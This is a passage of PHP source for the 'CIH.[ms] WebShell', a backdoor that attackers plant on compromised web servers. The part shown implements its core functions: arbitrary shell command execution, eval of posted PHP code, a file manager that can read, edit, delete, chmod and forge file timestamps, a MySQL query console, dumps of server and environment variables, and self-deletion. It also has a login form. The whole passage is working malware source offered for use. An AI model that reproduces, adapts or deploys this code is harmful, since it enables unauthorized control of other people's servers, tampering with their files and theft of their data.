  412. $wrpath = $_POST['ffile']; $wrcont = $_POST['wrcont'];$fh = fopen($wrpath, 'w');if ($fh){fwrite($fh, $wrcont);fclose($fh); }else {error('Couldn\'t write to file..');}echo "<div class='notice'>File&nbsp;<b>$wrpath</b> &nbsp; was successfuly modified</div>";}

    413. 

  413. if (isset($_POST['nfname']) && isset($_POST['curdir']) && isset($_POST['wrcont'])) // new file

    414. 

  414. {$file1 = $_POST['curdir']."/".$_POST['nfname'];$fh = fopen($file1, 'w');$r = fwrite($fh, $_POST['wrcont']);fclose($fh);if (!file_exists($file1)){error('Could not create a file..');} else {notice("File was successfuly created");}}

    415. 

  415. if (isset($_POST['dirname']) && isset($_POST['curdir']))  // new directory

    416. 

  416. {$curdir = $_POST['curdir']; mkdir($curdir.'/'.$_POST['dirname']);if(file_exists($curdir.'/'.$_POST['dirname'])){notice($curdir.'/'.$_POST['dirname']."&nbsp;was successfuly created.");}else{error('An error occured while creating dir', $ver);}

    417. 

  417. }

    418. 

  418. # File Manager : Directory actions

    419. 

  419. if (isset($_POST['ddo']) && isset($_POST['dirr'])){

    420. 

  420. switch($_POST['ddo']){

    421. 

  421. case 'rename':

    422. 

  422. echo" <form method='post' action='' style='margin:0px;'><input type='hidden' name='path' value='".$pwd."'><input type='text' name='ffile' class='form'  value='".$_POST['dirr']."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form'  value='".$_POST['dirr']."'  style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";

    423. 

  423. do_footer($ver);die();break;

    424. 

  424.    case 'delete':

    425. 

  425. rmdir($_POST['dirr']);if(file_exists($_POST['dirr'])){error('Could not delete directory');}notice($_POST['dirr']."&nbsp;was successfuly deleted.");do_footer($version);break;}}

    426. 

  426. if (isset($_POST['fdo']) && isset($_POST['ffile']) && $_POST['fdo']=='delete'){

    427. 

  427. unlink($_POST['ffile']);if(file_exists($_POST['ffile'])){error('Could not delete file');}notice("<b>".$_POST['ffile']."</b>&nbsp;was successfuly deleted.");break;

    428. 

  428. }if(isset($_POST['diract']))

    429. 

  429. {$path = $_POST['cmdir']; $perms = fperms($_POST['cmdir']);

    430. 

  430. echo"

    431. 

  431. <div  style='padding:2px;'><div style='background:#272727; padding:3px; margin-bottom:3px;text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px;  font-size:9px; text-align:left;'>dir:$path&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b>$perms </b>&nbsp;&nbsp;</div><div style='padding:4px; padding-left:30px; font-size:9px; font-weight:bold; color:#999; text-align:left;'><form method='post' action=''><input type='hidden' name='dirr' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='rename' style='margin-bottom:0px; background:#222;'><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='delete' style='margin-bottom:0px; background:#222;'><br/><br/><br/></form></div><div style='background:#272727; font-size:9px;'>&nbsp;</div></div>";do_footer($ver);die();}

    432. 

  432. # switch $do

    433. 

  433. #

    434. 

  434. if (isset($_REQUEST['do']))

    435. 

  435. {

    436. 

  436. switch ($_REQUEST['do']){

    437. 

  437. case 'mysql':

    438. 

  438. if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhost = 'localhost';}if (isset($_POST['mysqlw_db'])){$dbname  = $_POST['mysqlw_db'];} else {$dbname = 'dbname';}if (isset($_POST['mysqlw_login'])){$dblogin = $_POST['mysqlw_login'];}else {$dblogin = 'dblogin';}if (isset($_POST['mysqlw_passw'])){$dbpass = $_POST['mysqlw_passw'];}else {$dbpass = 'dbpassword';}if (isset($_POST['mysqlw_port'])){$dbport = $_POST['mysqlw_port'];} else {$dbport = '3306';}if (!empty($_POST['sql'])){echo '<div >';$sqlq =  $_POST['sql'];$db = mysql_connect($dbhost.':'.$dbport,$dblogin,$dbpass);if($db)

    439. 

  439. {if(!empty($_POST['mysqlw_db'])) { mysql_select_db($_POST['mysqlw_db'],$db); }$queries = explode(';',$sqlq);foreach($queries as $number=>$query) {

    440. 

  440. $number++;$r = safq($query); $error = mysql_error($db);if($error == 'Query was empty'){ break;}

    441. 

  441. echo "<div class='str' style='border-top:1px solid #333; '>query # <b>".$number."</b>:".htmlspecialchars($query)."</div>";

    442. 

  442. if ($error){ notice("Error : <b>".$error."</b>"); }

    443. 

  443. else {if(is_array($r)){echo '<table style="width:100%; background:#222;">';

    444. 

  444. if(is_array($r[0])){echo "<tr style='background:#292929; font-size:10px;'>";foreach($r[0] as $n=>$v){echo "<td style='padding:5px;'><b>$n</b></td>";}echo '</tr>';}foreach($r as $a){echo "<tr style='background:#232323;'>";

    445. 

  445. if(is_array($a)){foreach($a as $n=>$v){echo "<td class='my'>$v</td>";}}else{echo "<td class='file'>$a</td>";}echo '</tr>';}echo '</table>';}else{echo $r;}if(($rows = mysql_affected_rows($db))>=0) {

    446. 

  446. echo "<div class='str' style='margin-top:3px; border-bottom:1px solid #333; padding:3px;'>affected rows : <b>".$rows."</b></div>"; }

    447. 

  447. }} mysql_close($db);}else {notice('Error: Could not connect to database..');} echo '</div>'; }

    448. 

  448. echo "<form action='' method='post' style='margin:0px; margin-top:15px;'>

    449. 

  449. <table style='width:100%; height:40%'><tr><td valign='top' style='background:#272727; padding:3px;'><textarea  class='txt' cols='70' rows='15' name='sql' style='width:100%; height:99%'>";

    450. 

  450. if(isset($_POST['sql'])){echo $_POST['sql'];} else echo 'SHOW DATABASES;';

    451. 

  451. echo "</textarea></td><td style='width:150px; background:#272727;' valign='top' >

    452. 

  452. <input type='text' name='mysqlw_host' class='txt' style='margin:10px; height:24px;' value='$dbhost'/><input type='text' name='mysqlw_db'  class='txt' style='margin:10px; height:24px;'  value='$dbname'/><input type='text' name='mysqlw_login' class='txt' style='margin:10px; height:24px;'  value='$dblogin'/><input type='txt' name='mysqlw_passw'  class='txt' style='margin:10px; height:24px;'  value='$dbpass'/><input type='text' name='mysqlw_port'  class='txt' style='margin:10px; height:24px;'  value='$dbport'/><br/></td><tr><td colspan=2 valign='top' style='height:5%;'><input type='hidden' name='do' value='mysql'><input type='submit' class='txt' style='width:100%; margin:0px; margin-bottom:5px; ' value='go!'></td></tr></table></form><br/>";

    453. 

  453. do_footer($ver);   die(); break;

    454. 

  454. case 'server':

    455. 

  455. echo '<table class="str" style="width:100%">';foreach($_SERVER as $k=>$v)

    456. 

  456. {echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td>$v</td></tr>";}echo '</table>';do_footer($ver);

    457. 

  457. die();break;

    458. 

  458. case 'envinfo':

    459. 

  459. echo '<table class="str" style=" width:100%">';foreach($_ENV as $k=>$v)

    460. 

  460. {echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td style='padding:3px;'>$v</td></tr>";}echo '</table><br/>';do_footer($ver);die();break;

    461. 

  461. case 'delete':

    462. 

  462. if(unlink(substr(strrchr($_SERVER['PHP_SELF'],"/"),1))==true){echo "<div class='notice'>cihshell has been deleted successfully..bye-bye ): </div><br/><br/>"; do_footer($ver);}else{error('Unable to delete shell', $ver);} die();break;

    463. 

  463. case 'eval':

    464. 

  464. echo "<form method='post' action='' style='padding:0px; margin-top:5px;'><input type='hidden' name='do' value='eval'  style='border-bottom:1px solid #444;'> <textarea  name='eval' class='form' style='height:100px;'>";

    465. 

  465. if (isset($_POST['eval'])){echo $_POST['eval'];} else {echo 'code here (:';}

    466. 

  466. echo "</textarea><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form><br/>";

    467. 

  467. if (isset($_POST['eval'])){

    468. 

  468. echo "<table  class='txt'  style='margin-left:13px; width:98%; height:60%'><tr><td valign='top'>";code_eval();echo "</td></tr></table><br/>";}

    469. 

  469. do_footer($ver);die(); break;

    470. 

  470. case 'shell':

    471. 

  471. echo " <textarea class='txt'  style='width:98%; height:60%; background:#262626' rows='30'>";if($safe_mode == 'On'){ echo "Safe mode is on..";}if(isset($_POST['alias'])){ foreach ($alias as $k=>$v) { if ($_POST['alias'] == $k){cmd_exec($v);}}} else {cmd_exec($safe_mode);}if(isset($_POST['cmdir'])) {$dirr = $_POST['cmdir'];} else {$dirr = $path;}echo "</textarea>";echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text'  name='cmd' value='";if (isset($_POST['cmd'])){echo $_POST['cmd'];} elseif ($os == 'win'){echo 'dir';} else{echo 'ls';}echo "'  class='form' style='width:98%; margin-bottom:2px;'><input type='text'  name='cmdir' value='$dirr'  class='form' style='color:#444;width:98%'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form>";echo"<form method='post' action='' style='border-top:1px solid #282828; margin:0px;'><select name='alias' class='form' style='width:98%; margin-top:5px;'>";foreach($alias as $k=>$v){echo "<option>$k</option>";}echo "</select><input type='hidden' name='do' value='shell'><input type='hidden' name='cmdir' value='$dirr'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'</form><br/><br/>";do_footer($ver);   die();break;

    472. 

  472. case 'cihshell':echo "<div class='str' style='text-align:center;'><table class='str' style='width:100%'><tr>

    473. 

  473. <td style='border-right:1px solid #333; width:200px;'><div style=' padding:50px; margin-top:50px; margin-bottom:50px; border-top:1px solid #333; border-bottom:1px solid #333;'>Coded by <b>Berkut</b>. <br/><br/>&copy; 2007 <br/><hr>Fixed by <b>DCRM</b>. <br/></br>&copy; 2008 <br/></div></td><td valign='top' style='padding-left:30px;'><br/><br/><span style='font-size:20px; color:#666;'>CIH.[ms] WebShell<sup style='font-size:12px; color:#444;'>&nbsp;v.$ver</sup></span><br/><br/><br/>It has so many strong points that it is impossible to write them here (:</td></tr></table></div>";do_footer($ver); die();break;

    474. 

  474. default: error('There is no such function',$ver);

    475. 

  475. break;}}

    476. 

  476.  # file actions

    477. 

  477. if(is_file($path))

    478. 

  478.   {$perms = fperms($path); $size = filesize($path."/".$file); $size = conv_size($size); $size_fix = conv_size(filesize($path));  $pp = $_POST['f_path'];$ppp = $_POST['f_file'];

    479. 

  479. echo "<div  style='padding:2px;'><div style='background:#292929; padding:10px; margin-bottom:3px; text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px;  font-size:9px; text-align:left;'>file:&nbsp;<span style='color:#666;'>$path</span>&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b style='color:#666;'>$perms </b>&nbsp;&nbsp;|&nbsp;&nbsp; size: <span style='color:#666;'>$size_fix</span>&nbsp;&nbsp;|&nbsp;&nbsp; Create time: <span style='color:#666;'>".date("d.m.Y H:i:s",filectime($path))."</span>&nbsp;&nbsp;|&nbsp;&nbsp;Modify time: <span style='color:#666;'>".date("d.m.Y H:i:s",filemtime($path))."</span></div><table style='width:100%; font-size:10px;'><tr><td style='width:200px; border-right:1px solid #292929; vertical-align:top; padding:0px; padding-left:5px;'>      <form method='post' action=''><input type='hidden' name='ffile' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'>      <input type='submit' class='fa' name='fdo' value='view' style=''></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='view in HEX' style=''></div>       <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929; text-align:center; margin-top:5px;'>      <input type='submit' class='fa' name='fdo' value='edit'></div>       <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'>      <input type='submit' class='fa' name='fdo' value='preview' ></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='download'></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:40px;'><input type='submit' class='fa1' name='fdo' value='delete'></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'>      <input type='submit' class='fa1' name='fdo' value='copy' ></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='rename' ></div> <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='chmod' ></div> <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='touch' ></div></td><td style='padding:3px; vertical-align:top;'>";

    480. 

  480.  if (isset($_POST['fdo']) && isset($_POST['ffile'])){

    481. 

  481. $ffile = $_POST['ffile'];

    482. 

  482. switch($_POST['fdo']){

    483. 

  483. case 'view':

    484. 

  484. fileread2($ffile, $stringnum);

    485. 

  485. break;

    486. 

  486. case 'view in HEX':

    487. 

  487. 

    488. 

  488. $fi=fopen($path,"rb");

    489. 

  489. if ($fi) {$str = fread($fi,filesize($path));$n=0;$a0="00000000<br/>";$a1="";$a2="";

    490. 

  490. for ($i=0; $i<strlen($str); $i++) {$a1.=sprintf("%02X",ord($str[$i])).' ';switch (ord($str[$i])) {case 0:  $a2.="0"; break;case 32: case 10:case 13: $a2.="&nbsp;"; break;default:  $a2.=htmlspecialchars($str[$i]);}$n++;if ($n==$hexdump_rows) {$n=0;if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";$a1.="<br>";$a2.="<br>";}}echo "<table style='font-size:10px;'><tr><td style='border-right:1px solid #292929; color:#444; padding:4px;'>$a0</td><td style='color:#666; padding:4px;'>$a1</td><td style='border-left:1px solid #292929; color:#444; padding:4px;'>$a2</td></tr>";echo"</table>";

    491. 

  491. }break;

    492. 

  492. case 'edit':

    493. 

  493. echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:100%;' name='wrcont'> ";

    494. 

  494. fileread($ffile);echo "</textarea><input type='hidden' name='ffile' value='$ffile'><input type='hidden' name='path' value='".$path."'><input type='submit' name='wrfile' class='form' value='save file' style='width:100%; margin-top:5px;'></form><br/>"; break;

    495. 

  495. case 'chmod':

    496. 

  496. echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='chmod' class='form'  value='".substr(sprintf('%o', fileperms($path)), -4)."' style='width:10%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form'  value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;

    497. 

  497. 

    498. 

  498. case 'touch':

    499. 

  499. echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='touch' class='form'  value='".date("d M Y H:i:s",filemtime($path))."' style='width:15%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form'  value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;

    500. 

  500. 

    501. 

  501. case 'rename':

    502. 

  502. echo" <form method='post' action=''  style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form'  value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form'  value='".$path."'  style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";break;

    503. 

  503. case 'copy':

    504. 

  504. echo"<form method='post' action=''  style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form'  value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newpath' class='form'  value='".$path."'  style='width:40%'><input type='submit' style='width:60px;' class='form' value='copy!'></form><br/>";break; }}

    505. 

  505. else {

    506. 

  506. $fh = fopen($path, 'r'); if (!$fh){error('Could not open file',$ver);}echo '<table style="font-size:10px;   width:100%; background:#222; ">';if ($stringnum){$i=1;while(!feof($fh) & $i<=30) {$line = fgets($fh);  echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>'; $i++;}}else {while(!feof($fh) & $i<=30) {$line = fgets($fh);  echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }}echo '</table>';}

    507. 

  507. echo '</td></tr></table></div>';do_footer($ver);die();}

    508. 

  508. elseif (is_dir($path))

    509. 

  509.  {

    510. 

  510.   $dirs=array();

    511. 

  511.   $files=array();

    512. 

  512.   $dir=opendir($path);

    513. 

  513.   while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue;

    514. 

  514.          if (is_dir("$path/$file"))  {$dirs[]=$file;}

    515. 

  515.          else {$files[]=$file;}}closedir($dir);

    516. 

  516.   }

    517. 

  517. 

    518. 

  518. else {error('it isn\'t a directory', $ver);}

    519. 

  519. if (!$dir){error('An error occured while opening directory&nbsp;'.$path, $ver);}

    520. 

  520. sort($dirs);

    521. 

  521. sort($files);

    522. 

  522. echo "<table style='width:100%; background:#222;'>";

    523. 

  523.    echo "<tr><td colspan=6 class='filet' style='background:#282828; padding:0px; border-top:1px solid #2e2e2e; height:30px;'>";

    524. 

  524. # drives

    525. 

  525.    if ($os == "win") {

    526. 

  526.     echo "<form method='post' action='' style='padding:0px; margin:0px; float:left;'>";echo "<input type='button' value='Drives:' class='fm' style='font-weight:bold;'>";for($d='c';$d<='z';$d++){if(is_dir($d.":/"))echo "<input type='submit' value='".$d.":/' class='fm' name='path'>";  }echo "</form>";}echo "<form method='post' action='' style='padding:0px; margin:0px; float:right;' >";

    527. 

  527. echo "<input type='submit' name='diract' class='fm' value='directory actions' style='margin-bottom:0px; font-weight:bold; color:#666;'><input type='hidden' name='curdir' value='$path'><input type='hidden' name='cmdir' value='$path'><span style='color:#666;'>|</span><input type='submit' name='fileact'   value='New File' class='fm'><span style='color:#666;'>|</span><input type='submit'  style='margin:0px;' name='fileact' value='New Dir' class='fm'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='Upload' class='fm'>";echo "</form>";

    528. 

  528. echo "</td></tr>";echo "<tr style='background:#272727;'><td  style='width:3%; '>&nbsp;</td><td style='width:300px; color:#888;' class='filet'><b>name</b></td><td class='filet' style='color:#888;'><b>size</b></td><td class='filet' style='color:#888;'><b>last modified</b></td><td class='filet' style='color:#888;'><b>permissions</b></td></tr>";echo "<form method='post' action=''><input type='hidden' name='f_path' value='$path'>";

    529. 

  529. for ($i=0; $i<count($dirs); $i++) {

    530. 

  530. $size = '---';

    531. 

  531. $perms = fperms($path."/".$dirs[$i]);

    532. 

  532. $ico = '<b>dir</b>';

    533. 

  533. $last_mod = date('d.m.y  H:i:s', fileatime($path."/".$file));if(!$last_mod){$last_mod = "---";}

    534. 

  534. echo" <tr style='background:#252525;'><td  class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='dir' value='$dirs[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}

    535. 

  535. 

    536. 

  536.  for ($i=0; $i<count($files); $i++) {

    537. 

  537. # filesize

    538. 

  538. if (is_link($path."/".$files[$i])) {$size = "---";} else {$size = filesize($path."/".$files[$i]); $size = conv_size($size);  if($size == '0B'){$size = '---';} }

    539. 

  539. # date

    540. 

  540. $last_mod = date('d.m.y  H:i:s', fileatime($path."/".$files[$i]));if(!$last_mod){$last_mod = "---";}

    541. 

  541. #perms

    542. 

  542. $perms = fperms($path."/".$files[$i]);

    543. 

  543. #filetype (ico)

    544. 

  544. $ico = ''; if(is_link($path."/".$files[$i])) {$ico = 'link';}

    545. 

  545. else{

    546. 

  546. // filetypes for file manager

    547. 

  547. $filetypes  = array(

    548. 

  548. "php"=> array("php","phtml","php3","php4","inc"),

    549. 

  549. "exe"=>array("sh","install","bat","cmd"),

    550. 

  550. "ini"=>array("ini","inf"),

    551. 

  551. "html"=>array("html","htm","shtml"),

    552. 

  552. "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),

    553. 

  553. "code"=>array("tcl","h","c","cpp", "pl", "cgi"),

    554. 

  554. "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),

    555. 

  555. "sdb"=>array("sdb"),

    556. 

  556. "sess"=>array("sess"),

    557. 

  557. "dwnld"=>array("exe","com","pif","src","lnk","zip","rar")

    558. 

  558. );

    559. 

  559. $filename = $files[$i]; $ext = explode(".",$filename);$c = count($ext)-1;$ext = $ext[$c];$ext = strtolower($ext);$rft = "";foreach($filetypes as $key=>$value){if (in_array($ext,$value)) {$ico = $key; break;} } if($ico==''){$ico = 'none';}}

    560. 

  560. $wtf = '/'.$files[$i];if ($wtf == $_SERVER['SCRIPT_NAME']) {echo"<tr style='background:#292929;'><td  class='ico' style='color:#666;'>[shell]</td><td style='width:300px;'><input type='submit' style='background:#292929;' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}

    561. 

  561. else {

    562. 

  562. echo"<tr style='background:#252525;'><td  class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file'  class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";        }

    563. 

  563. }echo '</form></table><div style="padding-left:2px; padding-right:2px; padding-bottom:4px; background:#222;"><div class="filet" style="background:#272727; border-bottom:1px solid #2e2e2e">&nbsp</div></div>';do_footer($ver);}

    564. 

  564. else {echo ' <html><head><style>body{background:#333;}</style><title>login </title></head><body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:"><tr><td><form method="post" style="margin:0px; padding:)px;">login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;<input type="submit"  style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr></table></body></html>';}

    565. 

  565. ?>

    566. 

  566.